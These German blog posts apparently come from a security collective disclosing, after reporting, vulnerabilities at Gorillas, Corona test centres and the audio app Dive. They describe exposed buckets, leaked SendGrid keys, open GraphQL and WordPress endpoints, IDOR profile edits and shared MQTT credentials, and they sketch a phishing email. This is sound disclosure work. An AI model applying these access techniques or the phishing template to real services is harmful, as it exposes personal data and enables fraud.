Wie das passieren konnte? Leider mal wieder viel zu einfach. Hier die ganze Geschichte von vorne:

Gorillas ist zurzeit der größte dieser Dienste in Deutschland und verspricht mit großflächiger Werbung eine Lieferung innerhalb von 10 Minuten. Die Bestellungen werden dann in dezentralen Depots zusammengestellt und auf Fahrrädern ausgeliefert.

Vor einigen Wochen sind wir schon mal über eine Sicherheitslücke bei der Konkurrenz gestolpert. Nun hat Gorillas in den letzten Wochen ein extremes Wachstum hingelegt und auch nochmal absurde 290 Millionen US-Dollar Venture Capital eingesammelt¹ – für uns ein guter Grund, den Dienst mal auszuprobieren.

Inzwischen ist Gorillas in über 15 Städten in 4 Ländern aktiv (DE, NL, UK, FR) und will zeitnah in über 50 Städte expandieren, unter anderem in den USA. Das sind interessante Details und mal wieder finden wir das über die Stellenanzeigen heraus. Generell sind Stellenanzeigen von Firmen immer ein interessanter Rechercheansatz.

Es ist schon fast ein Routineschritt: Bei jeder neuen App, die wir installieren, einmal kurz mit einem mitmproxy² in den Datenverkehr zu schauen. Dabei fällt uns direkt auf den ersten Blick auf, dass Gorillas hier Daten aus zwei verschiedenen Google Cloud Storage Buckets lädt: eddress und gorillas-public. Buckets sind einfach nur ein fancy Name für Ordner in Cloud-Speicher-Diensten – und diese werden hier genutzt, um Produktbilder und Werbebanner an die App auszuliefern.

Nicht immer will man, dass eine Liste aller Dateien, die in einem Bucket liegen, öffentlich zugänglich ist, beispielsweise wenn Geschäftsdaten im Spiel sind. Deswegen ist bei den meisten Cloud-Services die öffentliche Auflistung der Dateien standardmäßig deaktiviert. So kann man zwar auf die Dateien zugreifen – aber nur, wenn man den exakten Link kennt.

Nunja, in diesem Fall konnten wir uns eine Liste aller Dateien anzeigen lassen und damit auch die einzelnen Dateien selbst. So hatten wir Zugriff auf viele, viele Fotos von all den Produkten, die Gorillas im Angebot hat. Prinzipiell ist es erst einmal nicht schlimm, wenn wir nun die Links zu allen Produktbildern kennen. Leider blieb es nicht dabei und natürlich kommt jetzt ein großes Aber…

Im Cloud-Bucket von Gorillas haben wir auch Fotos von Dingen gefunden, mit denen wir so nicht gerechnet hatten: Haustüren und Klingelschilder. Sind das etwa auch Produktfotos? Hat der Lieferdienst hier eine weitere Marktlücke entdeckt und ist ins Baumarktbusiness eingestiegen? Wohl eher nicht: Diese Dateien waren definitiv nicht für die Öffentlichkeit bestimmt. Streng genommen eigentlich nicht einmal für Gorillas.

Die abfotografierten Haustüren und Klingelschilder kommen von Fahrer*innen, die anscheinend vereinzelt Fotos machen sollen, nachdem sie eine Bestellung ausgeliefert haben. Davon steht nicht nur nichts in der Datenschutzerklärung³, sondern es ist auch einfach nur creepy⁴.

Als wir im Bucket eddress nun auch noch Sprachmemos, Rechnungen und Datenbank-Backups finden, wird klar, dass dies nicht gewollt sein kann.

Symbolbild (Bild: Jedesto, CC BY-SA 4.0, via Wikimedia Commons)

Was ist eddress jetzt schon wieder?

Der Name »eddress« taucht nicht nur in dem Bucket-Namen auf, sondern auch im App-Identifier, scheint also relevant zu sein.

Nach kurzer Recherche stellt sich heraus: Eddress ist ein Unternehmen mit Sitz in Pakistan und im Libanon, das White-Label-Kurier-Software anbietet – also gezielt neutral gehaltene Software, welche die einzelnen Lieferdienste dann passend zum eigenen Unternehmen gestalten können. Eddress selbst betreibt auch einen Lieferdienst, ganz ähnlich wie Gorillas, namens noknok im Libanon.

Zwischen diesen Bildern gibt es 20 Unterschiede. Findest du alle?

Die Apps von noknok und Gorillas sehen sich zum Verwechseln ähnlich. Das legt den Schluss nahe, dass Gorillas seine Software einfach komplett bei Eddress eingekauft hat. Auch stellt sich raus, dass der CEO von Eddress mittlerweile CTO von Gorillas geworden ist. Die beiden Unternehmen sind also tatsächlich eng miteinander verwoben.

Noch 200g von den API-Keys dazu?

Nachdem wir wussten, dass das Gorillas-System von Eddress gebaut wurde, wollten wir mehr zu dieser Kooperation erfahren. Die Suchmaschine unserer Wahl fand zwar keine Artikel zu dem Thema, brachte uns aber auf ein Admin-Portal von Gorillas/Eddress: portal.gorillas.io.

Hier werden wir von einem Login-Screen begrüßt, zu dem wir keine Zugangsdaten haben. Ein kurzer Blick in die Browsertools zeigt aber: Das JavaScript für das Portal wird auch schon vor dem Login geladen und wir können deswegen einen Blick in den Quellcode werfen.

Warum ist das so?

Das Admin-Portal von Gorillas ist eine sogenannte Single-Page-Application. Das bedeutet, die Seite besteht nur aus einer HTML-Datei und alle Inhalte werden dynamisch nachgeladen. Dabei wird auch von Anfang an der gesamte JavaScript-Code der Anwendung ausgeliefert.

Das ist per se erstmal kein Sicherheitsproblem, erlaubt aber spannende Einblicke in die Infrastuktur und Features einer Web-App, zu denen man mangels Login oder Rechten bislang keinen Zugriff hatte.

Dabei fielen uns diese Zeilen auf:

Nachdem wir beim Lieferdienst Flink bereits Erfahrungen mit GraphQL-Schnittstellen gesammelt haben, packen wir auch dieses Mal die auffällige URL in den GraphQL-Client unserer Wahl.

GraphQL ist eine Sprache, um Datenabfragen zu formulieren. Man beschreibt also, welche Informationen man gerne vom Server hätte und in welcher Form. So konnten wir zum Beispiel dem Server bei Flink sagen: »Gib uns die letzten 10 Bestellungen, wer sie getätigt hat und was bestellt wurde.« Der Server auf der anderen Seite sollte dabei eigentlich so eingestellt sein, dass er nicht alle Anfragen gleichermaßen behandelt, sondern bestimmte Informationen nur berechtigten Anfragesteller*innen herausgibt. Bei Flink war das falsch konfiguriert – und bei Gorillas?

Um das herauszufinden, haben wir uns die GraphQL-Möglichkeiten näher angeschaut. So bringt GraphQL beispielsweise eine Funktion mit, um herauszufinden, welche Informationen man wie abrufen kann: Introspection. Die meisten GraphQL-Clients erstellen daraus automatisch eine Dokumentation der API, so auch unserer:

Die beiden Abfragen für die Bestellungen benötigen Zugangsdaten, deswegen bekommen wir nur die folgende Fehlermeldung:

Die tenantConfig allerdings lässt sich ohne jegliche Zugangsbeschränkung abrufen. Und die dort ausgelieferten Informationen sind durchaus brisant: API-Keys und URLs für verschiedene Services, die scheinbar von der Gorillas-Infrastruktur genutzt werden. Darunter API-Keys für Sendgrid und Slack-Webhook-URLs.

Mit den Slack-URLs könnten wir Nachrichten in bestimmte Slack-Kanäle von Gorillas posten: »Heute Hitzefrei!«

Viel relevanter sind jedoch die Sendgrid-API-Keys. Sendgrid ist ein sogenannter transaktioneller E-Mail-Provider. In den letzten Jahren ist es schwieriger geworden, als neuer Anbieter E-Mails selber so zu versenden, dass sie in der Inbox landen und nicht sofort im Spamfilter hängen bleiben. Statt sich also selbst um den Mailversand zu kümmern, bezahlen immer mehr Anbieter Unternehmen wie Sendgrid, Mailjet oder Amazon SES, damit diese die E-Mails für sie versenden.

Mit dem Sendgrid-API-Key könnten wir also E-Mails im Namen von Gorillas versenden: »Hey Investors, Geld is wieder alle«

Dieses Problem betrifft nicht nur Gorillas, sondern auch andere Dienste, welche die Software von Eddress benutzen. Darunter unter anderem:

oyanow, Nigeria
noknok, Libanon
Liban Post (die staatliche Post im Libanon)

Dadurch könnten Angreifer*innen z.B. authentisch aussehende E-Mails im Namen von Gorillas oder anderen Eddress-Kund*innen versenden.

Bei Sendgrid lässt sich sehr feinkörnig einstellen, welcher API-Key welche Rechte hat. Die betroffenen API-Keys haben jedoch extrem viele Berechtigungen: Der API-Key von Gorillas für 100 Funktionen, der von Liban Post sogar für mehr als 200 Funktionen. Neben dem Verschicken von E-Mail befindet sich darunter auch die Berechtigung zum Anlegen neuer API-Keys. Eine Angreifer*in könnte sich so relativ unbemerkt einen neuen API-Key erstellen – und diesen auch dann weiter nutzen, wenn der geleakte API-Key deaktiviert wird.

Dürfen es noch ein paar mehr Daten sein?

Wir waren gerade fertig damit, den Report für die bisher beschriebenen Lücken zu schreiben, da kam uns eine Idee: Um auf die Abfragen nach den Bestellungen zugreifen zu können, benötigt man eine Zugangskennung (JSON Web Token). Wenn man sich in der App einloggt, bekommt man eine Kennung dieser Art. In der Erwartung, dass wir damit maximal unsere eigenen Daten abfragen können, haben wir also unsere Zugangskennung aus dem App-Datenverkehr genommen und in unseren GraphQL-Client eingegeben. Und tätsächlich bekamen wir Daten. Nicht nur unsere, sondern alle.

Insgesamt konnten wir die Daten von über 1.000.000 Bestellungen, den dazuhörigen 200.000 Kund*innen sowie Fahrer*innen abrufen.

Dazu gehören:

Name, Adresse, E-Mail-Adresse und Telefon-Nummer der Kund*innen
Bestelldetails (bestelle Produkte, Anzahl, Preis, etc.)
Bei Kreditkartenzahlung: Ablaufdatum der Kreditkarte
Referenzen auf Fotos der Haustür/des Klingelschildes, falls vorhanden
Name und Telefonnummer des “activeWorker”, vermutlich von Fahrer*innen oder Picker*innen

Betroffen sind also nicht nur die Kund*innen, sondern auch die Fahrer*innen – ein weiteres Problem im Umgang von Startup-Lieferdiensten mit ihren Arbeiter*innen. Die Arbeitsbedingungen der Picker*innen und Rider*innen standen schon mehrfach in der Kritik. Für die Kund*innen hat dieses Datenleck aber noch ganz andere Auswirkungen.

Spear-Phishing mit dem Schleppnetz

Diese ganzen Daten bilden zusammen mit dem Sendgrid-Zugriff die Grundlage für ein extrem perfides Angriffsszenario. Bei E-Mails soll man nicht nur darauf achten, ob der Absender plausibel aussieht, sondern auch, ob man beispielsweise mit richtigem Namen angesprochen wird, um sicher zu gehen, dass es sich dabei nicht um Phishing-E-Mails handelt.

Wir haben aber beides in der Hand: Wir kennen die Daten aller Kund*innen samt ihrer Bestellungen und können E-Mails im Namen von Gorillas schreiben.

Jetzt stellen wir uns eine E-Mail an alle Gorillas-Kund*innen mit sinngemäß diesem Inhalt vor:

Hallo Alex Mustermensch, 🦍❤️

Du hast am 01.01.1970 bei uns für 23.42€ an die Adresse “Musterstraße 123, 00000 Musterstadt” bestellt. Dafür hast du deine Kreditkarte mit dem Ablaufdatum 13/37 benutzt. Leider wurde die Zahlung von unserem Zahlungsdienstleister storniert. Deswegen müssen wir dich bitten, deine Rechnung zu begleichen.

Die Zahlung kannst du bequem unter folgendem Link tätigen: ich-stehle-deine-kreditkartendaten‎.de/payment/{Bestellnummer}

Hier findest du noch einmal eine Auflistung aller von dir bestellten Produkte:

Da die Domains gorlllas.io und goriilas.io noch frei sind, würden sich hier sogar vertraut aussehende Domains für die Zahlung nutzen lassen. Allerdings sind es Menschen mittlerweile sowieso gewöhnt, auf verschiedenste Zahlungsanbieter umgeleitet zu werden.

Fest steht: Wir würden drauf reinfallen.

Gorillas’ Reaktion

Während wir die Lücken fanden, haben wir diese auch dokumentiert und danach gesammelt an das CERT-Bund gemeldet. Das CERT-Bund hat sie dann überprüft und an Gorillas übermittelt. Gorillas hat die beschriebenen Lücken, nach eigener Aussage, inzwischen geschlossen, die SendGrid-API-Keys widerrufen und auch die Kund*innen und Fahrer*innen informiert. Wir begrüßen sehr, dass Gorillas dort von sich aus tätig wird, obwohl nicht unbedingt eine Rechtspflicht besteht.

Auch wir haben diese E-Mail bekommen. Leider müssen wir, trotz des guten Willens, kritisieren, dass Gorillas nicht genau benennt, welche Daten abrufbar waren. Denn wer erinnert sich schon einige Monate nach einer Bestellung von völlig normalen Alltagswaren, welche Daten beim Lieferdienst angegeben wurden? Und auch von den Fotos von Haustüren und Klingelschildern ist kein Wort zu lesen. Das finden wir sogar noch schlimmer, weil die Kund*innen von Gorillas nicht einmal wissen, dass diese Bilder überhaupt existieren.

Wann lernt die Branche endlich?!?

Es ist jetzt schon das zweite Mal, dass ein Supermarklieferdienst über eine ungeschützte GraphQL-Schnittstelle stolpert. Wir hatten ja ein wenig die Hoffnung, dass die Lücke bei Flink ein Warnschuss für alle Anbieter war, und sie in ihren eigenen System noch mal genau nachschauen, ob sie ähnliche Probleme haben. Dass selbst bei Investitionen von dreistelligen Millionenbeträgen die IT-Sicherheit nicht ansatzweise geprüft wird⁵, überrascht uns nun ein weiteres Mal. Wir hätten erwartet, dass Investor*innen bei solchen Beträgen doch etwas mehr Sorgfalt bei der Auswahl ihrer Investitionsziele walten lassen. Denn die Konkurrenz soll sicher auch nicht wissen, welche Produkte wo besonders gut laufen.

Dabei hat IT-Sicherheit das Problem vieler Präventionsmaßnahmen: Je besser sie ist, desto weniger sieht man ihren Nutzen. Erst wenn das Kind in den Brunnen, oder die zerforschung in die Datenbank gefallen ist, merkt man, dass da etwas gefehlt hat. Sobald die Brunnen und Datenbanken ausreichend gesichert sind, merkt niemand etwas davon – weil ja alles richtig, reibungslos und leise läuft.

Gleichzeitig lässt sich IT-Sicherheit oft nicht so gut vermarkten wie neue Features⁶ und es fehlen auch etwas die finanziellen Anreize. Die DSGVO erlaubt empfindliche Strafen für solche Datenschutzverletzungen. Jetzt sind die Datenschutzbehörden an der Reihe, diese auch auszusprechen, damit Unternehmen in Zukunft noch einen Grund mehr haben, auf ihre Sicherheit zu achten.

Unsere Lieferzeiten sind länger als 10 Minuten: An solch einem Artikel sitzen wir als Kollektiv deutlich mehr als eine Woche, vom Finden der Lücken, über das Schreiben der Reports bis zur Veröffentlichung dieses Posts. Falls er euch gefällt, könnt ihr uns gerne unterstützen.

Offenlegung: Gorillas hat uns unangekündigt 15.000€ überwiesen.

Wir haben weder Gorillas noch irgendein anderes Unternehmen, bei dem wir Sicherheitslücken fanden, je um Geld gebeten und werden das auch in Zukunft nicht tun. Trotzdem haben wir uns über diese Zuwendung sehr gefreut und möchten uns dafür bedanken.

Die Überweisung haben wir erst nach dem Erscheinen des Artikels bemerkt und sie hat weder Einfluss auf unsere aktuelle, noch auf eventuelle zukünftige Berichterstattung über Gorillas.

Irgendjemand, der den Wert von Unternehmen für besonders relevant hält, hat sich den Begriff “Einhorn” für Unternehmen mit einer Bewertung über 1 Milliarde Dollar ausgedacht. Gorillas ist das Unternehmen, welches aktuell in Deutschland diesen Titel am schnellsten erreicht hat. ↩︎
Ein mitmproxy ist ein Programm, mit dem man den Datenverkehr eines eigenen Geräts mitschneiden und entschlüsseln kann. ↩︎
Ja, wir haben die Datenschutzerklärung wirklich gelesen ↩︎
Es ist auch ein spannender Versuch in einem Land, welches sich mit Händen und Füßen nachhaltig gegen Fotos von Hausfassaden in Google Street View wehrte. ↩︎
Gorillas sucht seit etwa einem Monat nach IT-Security-Leuten. Bisher scheinen sie noch niemanden zu haben. Für Arbeitssicherheit übrigens auch. ↩︎
Apple zeigt gerade, dass man mit Datenschutz tatsächlich Werbung machen kann ↩︎

Corona Testzentren – Oops we did it again

Fri, 09 Apr 2021 06:00:00 +0200

Wir wollten ja eigentlich nichts mehr mit Corona machen, aber dann kam ein Testzentrum dazwischen. 🙄

Es begann ähnlich wie das letzte Mal: Ein zerforschungs-Angehöriger war beim Corona-Schnelltest und bekam danach eine E-Mail mit einem Link zu seinem Ergebnis. Das kam ihm irgendwie fischig 🐟 vor, also haben wir uns das mal angeschaut.

Die E-Commerce-Bude macht jetzt auch in Testzentren

Der Anbieter Eventus Media International (EMI) betreibt unter anderem in Leipzig, Berlin, Hamburg, Schwerte und Dortmund Testzentren unter der Marke testcenter-corona.de und bietet Software und Infrastruktur als Franchise-Modell an.

Statt die eigene Website von Grund auf selbst zu entwickeln, setzt testcenter-corona.de auf WordPress, ein weitverbreitetes Open-Source-Blog-System. Seine große Beliebtheit hat WordPress unter anderem seiner vielseitigen Erweiterbarkeit durch Plugins zu verdanken. Diese ermöglichen es, dem System Funktionalitäten hinzuzufügen, die weit über das Veröffentlichen eines Artikels auf einem Blog hinaus gehen. In diesem Fall das Buchen von Terminen und Abrufen von Testergebnissen.

Dabei haben sie erst einmal etwas richtig gemacht: Für das Abrufen der Ergebnisse werden keine aufsteigenden Nummern verwendet, sondern zufällige 10-stellige, alphanumerische Zeichenketten.

WordPress-API

WordPress besitzt eine API, also eine Schnittstelle, über die viele der Inhalte einer Seite maschinenlesbar von anderen Systemen abgerufen und weiterverwendet werden können. Diese API ermöglicht z.B. die Nutzung der WordPress-App, aber auch anderer Editoren und Anwendungen.

In WordPress kann man zusätzlich zu den vorhandenen Standardtypen für Inhalte wie z.B. Blogposts, Seiten oder Kommentare eigene Inhaltstypen definieren – und diese optional über die API verfügbar machen. Die API ist unter /wp-json/ abrufbar, einzelne Posts zum Beispiel unter /wp-json/wp/v2/posts. Registriert man nun einen eigenen Inhaltstyp mit dem Namen beispielname und aktiviert den Zugriff über die API, sind alle Einträge von diesem Typ unter /wp-json/wp/v2/beispielname abrufbar.

EMI hat für die Testzentren-Websites den eigenen Inhaltstypen registration für Schnelltest-Registrierungen angelegt, welcher Terminbuchungen und Testzertifikate abbildet.

Da EMI aus uns unerklärlichen Gründen die API-Zugriffsmöglichkeit für diese aktiviert hat, sind alle Registrierungen auch über diese abrufbar.

Fragt man nun die Schnittstelle für Registrierungen eines Test-Zentrums an (/wp-json/wp/v2/registration/), so erhält man eine Liste:

[
	{
	    "id": 1234,
	    "date": "2021-04-10T03:45:56",
	    "date_gmt": "2021-04-10T01:45:56",
	    "guid": {
	        "rendered": "https://[…]/registration/abcdef1234/"
	    },
	    "modified": "2021-04-10T03:45:56",
	    "modified_gmt": "2021-04-10T01:45:56",
	    "slug": "abcdef1234",
	    "status": "publish",
	    "type": "ev_tc_registration",
	    "link": "https://[…]/registration/abcdef1234/",
	    "title": {
	        "rendered": "abcdef1234"
	    },
	    "template": "",
	    "_links": {
	        "self": [
	            {
	                "href": "https://[…]/wp-json/wp/v2/registration/1234"
	            }
	        ],
	        "collection": [
	            {
	                "href": "https://[…]/wp-json/wp/v2/registration"
	            }
	        ],
	        "about": [
	            {
	                "href": "https://[…]/wp-json/wp/v2/types/ev_tc_registration"
	            }
	        ],
	        "wp:attachment": [
	            {
	                "href": "https://[…]/wp-json/wp/v2/media?parent=1234"
	            }
	        ],
	        "curies": [
	            {
	                "name": "wp",
	                "href": "https://api.w.org/{rel}",
	                "templated": true
	            }
	        ]
	    }
	},
	…
]

Darin steht unter anderem ein 10-stelliger, alphanumerischer Code… – Moooment mal, solche Codes haben wir doch schonmal auf dieser Website gesehen. Das werden doch nicht genau die Codes zum Abruf des Testergebnisses sein, oder?

Doch tatsächlich entdecken wir relativ schnell unseren eigenen Abrufcode.

Wir haben also eine Liste aller Abrufcodes. Das ist in etwa so, als würde man sich einen Safe einbauen lassen, aber den Code dann direkt daneben legen.

Diese Abrufcodes kann man auf der Testergebnisabfrage-Seite eingeben und erhält dann ein fremdes Ergebnis. Auch hier war das Ergebnis wieder mehrstufig – zuerst eine kurze Seite, die das eigentliche Ergebnis (positiv/negativ) anzeigt und dann eine Downloadmöglichkeit für ein PDF, welches deutlich mehr Angaben enthält:

Vorname
Name
Anschrift
- Straße
- Hausnummer
- Postleitzahl
- Ort
- Land
ggf. Anschrift derzeitiger Aufentaltsort
- Straße
- Hausnummer
- Postleitzahl
- Ort
- Land
Geburtsdatum
Telefonnummer
E-Mail-Adresse
Test
Testdatum
Testergebnis

Betroffen waren am 6.4.2021 über 14.000 Registrierungen mit hinterlegtem Testergebnis, wie folgt auf Städte verteilt:

Stadt	Ungefähre Anzahl
Berlin	3000
Dortmund	800
Hamburg	3100
Leipzig	5800
Schwerte	1400

Ein im Vergleich unwichtig wirkendes Detail: Die Macher*innen scheinen kein Rate-Limiting eingebaut zu haben. Auf die Schnittstelle hätte man eine Begrenzung legen können, wie viele Anfragen in einem definiertem Zeitraum möglich sind, um zumindest massenhafte Abfragen zu verlangsamen.

Dennoch waren die Testergebnisse (positiv/negativ/noch nicht vorliegend) aller 25.000 Registrierungen abfragbar, ohne an eine solche Grenze zu stoßen.

Und jetzt?

Weil es sich um besonders schützenswerte Daten handelt, war es uns wichtig, dass die Lücke möglichst schnell geschlossen wird. Deshalb haben wir uns auch hier wieder mit einem detailierten Aufschrieb an das BSI gewendet. Dieses hat das Problem anonymisiert an das Unternehmen weitergeleitet.

Reaktion der Macher*innen

Nachdem Eventus Media International vom BSI informiert wurde, haben sie die Lücke am gleichen Tag geschlossen. Zusätzlich wurde am nächsten Tag ein weiteres Feld beim Abruf eines Testergebnisses eingeführt. So muss jetzt nicht mehr nur der 10-stelligen Code, sondern auch Vorname, Nachname oder E-Mail-Adresse der getesteten Person eingegeben werden. Für alle Testergebnisse, die vor dem 7.4. erstellt wurden, wurde zudem ein neuer Code generiert und per E-Mail zugesendet.

Für die Veröffentlichung haben wir mit Journalist*innen des NDR, RBB und MDR zusammengearbeitet.

Gegenüber diesen sagte ein Sprecher von EMI, dass man

»Testcenter, einschließlich der damit verbundenen Datenverarbeitungssysteme, mit großer Eile hochgezogen und mit versierten IT-Spezialisten zusammengearbeitet [habe] um den Kunden, die das Testangebot in Anspruch nehmen wollen, die größtmögliche Sicherheit gewährleisten zu können. […] Dass Hacker trotzdem auf einen Teil der Daten zugreifen konnten, tut uns leid, und wir entschuldigen uns bei den betroffenen Kunden.«

Bis zur Veröffentlichung dieses Artikel wurden uns bekannte Kund*innen noch nicht über das Datenleck informiert.

Fazit

Das ist jetzt schon das zweite Mal, dass wir zufällig so ein Datenleck in Testzentrums-Software finden.

Wir müssen uns an dieser Stelle leider wiederholen:

[Das] darf nicht passieren. Wirklich nicht. Wenn wir als Gesellschaft die Eindämmung der Pandemie ohnehin bereits unnötigerweise über ein Jahr hinauszögern […], dann darf es wirklich nicht dazu kommen, dass selbst die grundlegenden Rahmenbedingungen für Tests so dilettantisch erledigt werden.

Im Unterschied zum letzten Mal: Testen ist kein optionales Feature mehr. In einigen Bundesländern sind Tests inzwischen Vorraussetzung für Teile des öffentlichen Lebens.

Auch wenn man nicht gerade in den Baumarkt, zum Friseur oder zum Möbelhaus muss, können Tests ein sehr wirksames Mittel in der Pandemiebekämpfung sein, wenn sie für alle verfügbar, leicht zugänglich und auch technisch sicher sind. Dazu gehört auch, dass man sich mit gutem Gewissen testen (und impfen) lassen kann, ohne dabei Angst haben zu müssen, dass die eigenen Daten plötzlich öffentlich sind.

Wieso kommen solche Lücken immer wieder vor?

Unternehmen scheinen bei solchen Problemen keine Konsequenzen zu fürchten. Wenn wir so etwas finden, gibt es zwar negative Presse, aber am Ende dürfen solche Anbieter weitermachen, oder sogar an Ausschreibungen mitschreiben und diese auf sich selber optimieren.

Stattdessen sollten die Datenschutzbehörden solche Vorfälle ernst nehmen und z. B.

die Anbieter zwingen, allen Kund*innen Bescheid zu sagen sowie
empfindliche Strafen verhängen.

Solch härteres Vorgehen wäre rechtlich bereits möglich, es müsste nur getan werden.

Der Schutz von Gesundheitsdaten, darf nicht auf die leichte Schulter genommen werden.

Dabei darf die besondere Pandemielage und schnelle Handlungsfähigkeit keine Ausrede sein.

Unternehmen müssen hier ihrer Schutz- und Sorgfaltspflicht vor dem Start nachkommen – und wenn sie dies nicht können, dann haben sie in diesem Bereich nichts verloren.

Bei der Veröffentlichung haben wir mit Journalist*innen von MDR, NDR und rbb zusammengearbeitet. Auf den folgenden Seiten findet ihr weitere fundierte Informationen, Recherchen und eine journalistische Einordnung:

Danke dafür <3

Update: Da uns Rückfragen zu unterschiedlichen Registrierungszahlen erreichten: Die 7.000 war die Zahl der Registrierungen mit Ergebnissen, die man vor Ostern abrufen konnte und die wir so auch an das BSI gemeldet haben. Am 06.04.2021 (also nach Ostern) waren vor dem Fix der Lücke über 14.000 Registrierungen mit Ergebnissen zugänglich.

Timeline

2021-03-31: Wir schauen uns den Anbieter an und finden die Lücke. Wir beginnen das Problem nachvollziehbar aufzuschreiben.
2021-04-02 04:00 Uhr: Wir senden Aufschrieb ans CERT-Bund beim BSI
2021-04-06: BSI leitet Informationen an Datenschutzbeauftrage*n des Unternehmens weiter
2021-04-06: Lücke ist geschlossen

Wenn ihr zerforschung unterstützen wollt, findet ihr hier Möglichkeiten: https://zerforschung.org/unterstuetzen/

Dive – Use with Hackphones

Fri, 02 Apr 2021 23:30:00 +0200

Vor einiger Zeit haben wir uns bereits Clubhouse angeschaut.
Nun gibt es einen neuen, bislang sehr exklusiven deutschen Stern am Audio-Chat-Himmel: Dive – dieser Klon von Clubhouse legt laut Gründer*innen besonders großen Wert auf Datenschutz.

Nachdem ein Zerforschungsmitglied eine Einladung für Dive bekommen hat, haben wir routinemäßig mal in den Datenverkehr geschaut und leider schon wieder Schlimmes gefunden. Nur so viel schonmal: Viel besser als Clubhouse ist das nicht.

Schon als wir das erste Mal in den Traffic geschaut haben, wunderten wir uns: Alle Profilbilder wurden unverschlüsselt über HTTP geladen – völlig grundlos, weil die Bilder von Amazon S3 geladen werden, das TLS unterstützt.

Wer nutzt eigentlich Dive?

Bei Clubhouse gab es eine Lücke, mit der alle User aufgelistet werden konnten. Dive ist so ein guter Klon, sie haben das direkt mit kopiert.

Sucht man über den Such-Endpunkt nach *, liefert dieser alle Nutzer*innen.

{
    "results": [
        {
            "type": "USERS",
            "items": [
                {
                    "item": "UserResult",
                    "type": "USER",
                    "userId": "{USER_UUID}",
                    "username": "{USERNAME}",
                    "description": "{DESCRIPTION}",
                    "firstName": "{FIRST_NAME}",
                    "lastName": "{LAST_NAME}",
                    "profilePhotoUrl": "https://s3.eu-central-1.amazonaws.com/dive-photo-profile/live/{...}",
                    "live": false
                },
                ...
            ],
            "total": 1843
        }
    ]
}

Nachdem wir die Lücke an Dive gemeldet haben, konnte man nicht mehr nach * suchen, um eine Liste aller Nutzer*innen zu bekommen. Stattdessen geht aber ** 🙃

Haben wir alle Usernames, können wir die Profile anfragen. Dort steht jeweils, von wem man eingeladen wurde. So lässt sich sehr einfach der Einladungsgraph rekonstruieren.

Wie ist deine E-Mail-Adresse?

Dive nutzt an vielen Stellen UUIDs, also zufällig generierte, global eindeutige IDs. Das ist schonmal besser, als einfach nur hochzuzählen.

Fragt man über die Dive-API das eigene Profil an, so steht in der URL auch die eigene Nutzer*innen-UUID: /users-service/users/{USER_UUID}

Verwendet man hier eine fremde UUID, die man zum Beispiel in der Suche gefunden hat, so erhält man auch das Profil einer*s anderen Nutzer*in. Dort sind auch einige Informationen enthalten, die sonst nicht öffentlich sichtbar sind, z.B. die E-Mail-Adresse und die Einladungscodes. Dadurch kann man sich von einem beliebigen anderen Account, der noch ungenutzte Einladungscodes hat, einladen lassen. Ein zerforschungs-Mitglied hat seinen Test-Account von “@dive” einladen lassen 🙃.

Wir denken, dass dies eine Verletzung der Datenschutzerklärung ist, in der es heißt: “We may share the following information with all members, as well as with our business partners and the general public: public information such as your username, name and profile pictures;” Eine Veröffentlichung der E-Mail-Adresse ist dort nicht erwähnt.

Du heißt jetzt Horst!

Auch den Endpunkt zum Bearbeiten des Profils haben wir angesehen. An diesen wird ein POST-Request mit einem JSON-Object des folgenden Formats übertragen:

{
    "lastName": "{Nachname}",
    "firstName": "{Vorname}",
    "description": "{Beschreibung}",
    "id": "{USER_UUID}"
}

Sendet man hier statt der eigenen User-UUID die eines*r anderen Nutzers*in, wird stattdessen dessen*deren Profil bearbeitet.

Die Passwörter anderer Nutzer*innen konnten wir nicht ändern. Das liegt einfach daran, dass es diese Funktion in der App (noch?) nicht gibt.

Welche Räume hat dive offen?

Dive nutzt WebRTC für die Audiochats und MQTT für das Signaling. Nachdem man in der App einen Raum betritt, wird durch einen Request die aktuelle MQTT-Config geladen. Die Config scheint für alle Nutzer*innen die gleiche zu sein.

{
  "port": 1883,
  "host": "notify-broker.diverail.com",
  "user": "poc",
  "password": "{PASSWORD}",
  "tls": true
}

Über diesen MQTT-Server lassen sich auf einen Schlag alle aktuell geöffneten Räume abrufen – und wer wann in welchem Raum ist. Auch einzelne Aktionen in den Räumen (Ton an/aus, “Klatschen”) sieht man so.

Dives Reaktion

Wir haben Dive natürlich schnell Bescheid gesagt und um ein Statement gebeten. Dive ist auf unsere Hinweise eingegangen und hat die meisten Sicherheitslücken geschlossen. Nur der MQTT-Server ist noch offen und mit den gleichen Credentials erreichbar. Dies ist laut Dive kein Problem.

Auf die Frage, seit wann die Sicherheitslücken bekannt sind, antwortete uns Dive:

Wir hatten die Vermutung derer Existenz [sic!] und planten, diese zu schließen. Bis zu eurem Bericht hatten wir keinen Vorfall.

Nach Art 33 und Art 34 DSGVO müssen Betroffene und die zuständigen Datenschutzbehörden bei “Verletzungen des Schutzes personenbezogener Daten” informiert werden, wenn bestimmte Bedingungen erfüllt werden.

Diese sieht Dive nach eigener Aussage nicht erfüllt, hat die zuständige Datenschutzbehörde “im Interesse der Transparenz” aber trotzdem benachrichtigt. Sie haben nicht vor, die betroffenen Nutzer*innen zu informieren.

Das finden wir sehr schade und die Berliner Beauftragte für Datenschutz und Informationsfreiheit schrieb zu einem anderen Fall:

Ungeachtet dieser gegebenenfalls vorliegenden Pflicht zur Benachrichtigung Betroffener empfiehlt die Datenschutzbeauftragte prinzipiell, die betroffenen Personen über den Vorfall zu informieren, um möglichst schnell größtmögliche Transparenz herzustellen. Unsere Erfahrungen zeigen, dass Betroffene es bei allem Unmut über einen Datenschutzverstoß ganz überwiegend positiv anerkennen, wenn der Verantwortliche zu seinem Fehler steht und von sich aus und vor allem zeitnah über den Sachverhalt aufklärt.

Für später in diesem Jahr plant Dive ein Bug Bounty Programm.

Fazit

Das ist nun schon das zweite Audio-Chat-Startup, bei dem wir Sicherheitslücken finden. Gerade wenn man sich als datenschutzkonforme Alternative zu Clubhouse anpreist, sollte man auf sowas ganz besonders achten. Und wenn man schon ahnt, dass es solche Lücken gibt, sollte man das Produkt nicht veröffentlichen; auch nicht für eine semi-private Beta.

Die Gründer*innen von Dive haben davor bereits andere Startups gegründet, zB den Scooter-Anbieter circ. Von solchen ~~Serientätern~~Serial Entrepreneurs hätten wir mehr Erfahrung erwartet und fürchten uns jetzt etwas um die Sicherheit ihrer anderen Dienste.

Dass uns regelmäßig extrem offensichtliche Lücken in Apps deutscher Startups auffallen, schafft kein Vertrauen in die Sicherheit deutscher Softwarekunst.

Für mehr Spaß mit Zerforschung kann man uns hier unterstützen

Die Luca-Lizenz (LL-ND-NC-WTF)

